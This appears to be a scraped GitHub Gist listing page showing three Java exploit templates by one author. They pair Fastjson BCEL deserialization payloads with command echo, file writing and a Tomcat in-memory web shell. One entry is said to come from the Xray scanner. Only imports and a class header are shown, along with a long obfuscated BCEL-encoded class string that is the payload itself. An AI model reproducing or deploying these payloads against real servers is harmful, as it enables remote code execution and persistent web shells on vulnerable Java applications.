Skip to content

Instantly share code, notes, and snippets.

View feihong-cs's full-sized avatar
💭
I may be slow to respond.

feihong feihong-cs

💭
I may be slow to respond.
  • hefei
View GitHub Profile
@feihong-cs
feihong-cs / FastjsonBCELEchoWithTomcatMemshellTemplate.java
Last active March 26, 2021 06:46
Fastjson BCEL Payload 回显 + Tomcat内存shell模板
package cn.com.topsec.fastjson;
import sun.misc.BASE64Decoder;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.HashMap;
import java.util.List;
import java.util.Scanner;
@feihong-cs
feihong-cs / FastjsonBCELEchoWithFileWriteTemplate.java
Last active March 26, 2021 06:23
Fastjson BCEL Payload 回显 + 文件写入模板
package cn.com.topsec.fastjson;
import org.apache.tomcat.util.codec.binary.Base64;
import sun.misc.BASE64Decoder;
import java.io.FileOutputStream;
import java.lang.reflect.Field;
import java.util.List;
import java.util.Scanner;
@feihong-cs
feihong-cs / FastjsonBCELEchoTemplate.java
Last active March 26, 2021 06:24
Fastjson BCEL Payload 回显模板(来源于Xray)
import java.lang.reflect.Field;
import java.util.List;
import java.util.Scanner;
public class FastjsonBCELEchoTemplate {
//$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$95W$Lx$U$d5$V$fe$ef$ecfgv3$B$b2$bc$b2$w$a0$Wp$DI$d6$ED$d8$mBB$90$d4$q$o$89$60$Ak$t$bb$93d$603$Tvg$J$d8$daZ$b5o$5bk$5bk$b1$ad$b5Z$9b$daV$ab$b6$5d$82$ujk$d5j$df$ad$7d$d8V$fb$d4$fa$e8$fba$d5$o$fewf$D$hX$f03_2s$efy$9fs$cf$7f$ee$e4$d1W$ef$de$P$a0IThxG$E$Vx$a7$7c$5c$a6$e1$5d$w$$WqA$Y$R$5c$nIW$aax$b7$8a$f7D$b8$7fo$E$ef$c3$fb$p$I$e3$D$g$3e$u$99W$a9$f8$90$86$Pk$b8Z$ee$3e$a2$e2$g$f9$feh$E$d3$f0$b1$I$3e$8ek$e5$e3$TR$e3$ba$I$3e$89$dd$f2q$bd$86OE$f0f$7cZ$c5$O$b9$ff$8c$86$h$oH$e0$b3$gn$d4$f09$V7i$b8Y$c3$e75$dc$a2$e1$L$wF$xQ$8b$_$ca$c7$ad$g$be$a4$e1$cb$g$be$a2$e26$N$b7K$ad$afj$b8C$c3$9d$g$ee$d2$f0$b5$I$be$8eoHjA$c3$k$Nc$g$f6j$b8$5b$c3$3e$V$f7$a8$b87$82$V$d8$_$l$f7Ep$3f$k$88$e0$y$7cS$c3$b7$e4$fbA$f9$f8$b6T$7dH$c6$f6$b0$b4$f4H$E$df$c1$a3$w$k$T$I$8fd$z$d7lq$d2$bb$Ef$c6$3b$b6$g$3b$8cD$c6$b0$H$S$e7$f5m5Sn$f3$e6$96$da$N$C$c1V$tm$KL$ee$b0l$b3$x$3f$d4gf$7b$8c$be$M$v$d1$O$ted6